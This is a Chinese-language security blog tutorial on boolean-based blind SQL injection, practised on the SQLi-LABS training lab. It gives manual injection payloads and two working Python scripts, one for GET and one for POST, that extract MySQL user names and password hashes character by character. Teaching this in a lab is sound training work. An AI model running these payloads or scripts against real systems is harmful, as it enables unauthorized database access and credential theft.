布尔盲注怎么用,一看你就明白了。布尔盲注原理+步骤+实战教程

本文阅读 5 分钟
首页 安全分享,WEB安全 正文

<font color="orange">「作者主页」:</font>士别三日wyx
<font color="orange">「作者简介」:</font>CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者
<font color="orange">「专栏简介」:</font>此文章已录入专栏《网络安全快速入门》

页面只有登录成功和登录失败这两种情况时,可以使用布尔盲注。

布尔盲注使用时分为两个步骤:

  1. 使用 length()函数 判断查询结果的长度
  2. 使用 substr()函数 截取每一个字符,并穷举出字符内容

接下来,我们以测试网站(SQLi LABS 第5关)为例,解释一下这两个步骤的详细使用方式和注入的原理。

1. 长度判断原理

首先,利用MySQL的 length()函数 判断返回结果的长度是多少。

比如,我们判断 database()当前数据库 的长度,在地址栏输入:

?id=1' and length( database() )=1 -- a

执行流程如下: img 页面异常(空)显示,表示猜解长度有误;

页面正常显示,表示猜解长度正确;

依次猜测1,2,3……n,直至长度猜解正确(页面正常显示)。 img 如上,测试长度1~7一直异常(空)显示,测试长度8时变为正常显示,就意味着查询结果的长度是8.

2. 穷举字符原理

查询结果由一个个字符组成,每一个字符有95种可能性(大小写字母、数字、特殊符号),对应的ASCLL编码是32~126。

推荐文章: ASCLL编码详解,ASCLL编码对照表

使用MySQL的 substr()函数 截取查询结果的第一个字符,使用 ascii()函数 将截取的字符转换成 ASCLL编码,依次判断是否等于32,33,34……126。

页面异常(空)显示,表示猜解失误;

页面正常显示,表示猜解正确;

猜解流程如下: img ASCLL编码 115 对应的字符是 ‘s’,确定第一个字符是:s

上一步已经确定了长度是 8,依次截取第 1~8个字符,并依次判断每个字符的内容。 img

适用情况:页面没有显示位,没有报错信息,只有成功和不成功两种情况。

1. 判断注入点

同时满足以下两种情况:

?id=1' and 1 -- a 正常显示 ?id=1' and 0 -- a 异常(空)显示

2. 判断长度

?id=1' and length( 查询语句 )=1 -- a

3. 枚举字符

?id=1 and ascii(substr( 查询语句 ,1,1))=32 -- a

手工盲注的时间复杂度非常大,通常会使用脚本盲注。

get请求盲注脚本:

import requests

# 只需要修改url 和 两个payload即可
# 目标网址(不带参数)
url = "http://3534c6c2bffd4225bf3409ae9a2ec278.app.mituan.zone/Less-5/"
# 猜解长度使用的payload
payload_len = """?id=1' and length( (select group_concat(user,password) from mysql.user) ) < {n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and ascii( substr( (select group_concat(user,password) from mysql.user) ,{n},1) ) = {r} -- a"""

# 获取长度
def getLength(url, payload):
    length = 1  # 初始测试长度为1
    while True:
        response = requests.get(url= url+payload_len.format(n= length))
        # 页面中出现此内容则表示成功
        if 'You are in...........' in response.text:
            print('测试长度完成,长度为:', length,)
            return length;
        else:
            print('正在测试长度:',length)
            length += 1  # 测试长度递增

# 获取字符
def getStr(url, payload, length):
    str = ''  # 初始表名/库名为空
    # 第一层循环,截取每一个字符
    for l in range(1, length+1):
        # 第二层循环,枚举截取字符的每一种可能性
        for n in range(33, 126):
            response = requests.get(url= url+payload_str.format(n= l, r= n))
            # 页面中出现此内容则表示成功
            if 'You are in...........' in response.text:
                str+= chr(n)
                print('第', l, '个字符猜解成功:', str)
                break;
    return str;

# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

post请求盲注脚本:

import requests

# 网站路径
url = "http://7eb82265178a435aa86d6728e7b1e08a.app.mituan.zone/Less-13/"
# 判断长度的payload
payload_len = """a') or length( (select group_concat(user,password) from mysql.user) )>{n} -- a"""
# 枚举字符的payload
payload_str = """a') or ascii( substr( (select group_concat(user,password) from mysql.user) ,{l},1) )={n} -- a"""

# post请求参数
data= { 
    "uname" : "a') or 1 -- a",
    "passwd" : "1",
    "submit" : "Submit"
}

# 判断长度
def getLen(payload_len):
    length = 1
    while True:
        # 修改请求参数
        data["uname"] = payload_len.format(n = length)
        response = requests.post(url=url, data=data)
        # 出现此内容为登录成功
        if '../images/flag.jpg' in response.text:
            print('正在测试长度:', length)
            length += 1
        else:
            print('测试成功,长度为:', length)
            return length;

# 枚举字符
def getStr(length):
    str = ''
    # 从第一个字符开始截取
    for l in range(1, length+1):
        # 枚举字符的每一种可能性
        for n in range(32, 126):
            data["uname"] = payload_str.format(l=l, n=n)
            response = requests.post(url=url, data=data)
            if '../images/flag.jpg' in response.text:
                str += chr(n)
                print('第', l, '个字符枚举成功:',str )
                break

length = getLen(payload_len)
getStr(length)

感谢你的点赞、收藏、评论,我是三日,祝你幸福。

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/wangyuxiang946/article/details/123486880
-- 展开阅读全文 --
Redis底层数据结构--跳跃表
« 上一篇 04-28
BUUCTF Web [强网杯 2019]随便注
下一篇 » 06-24

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复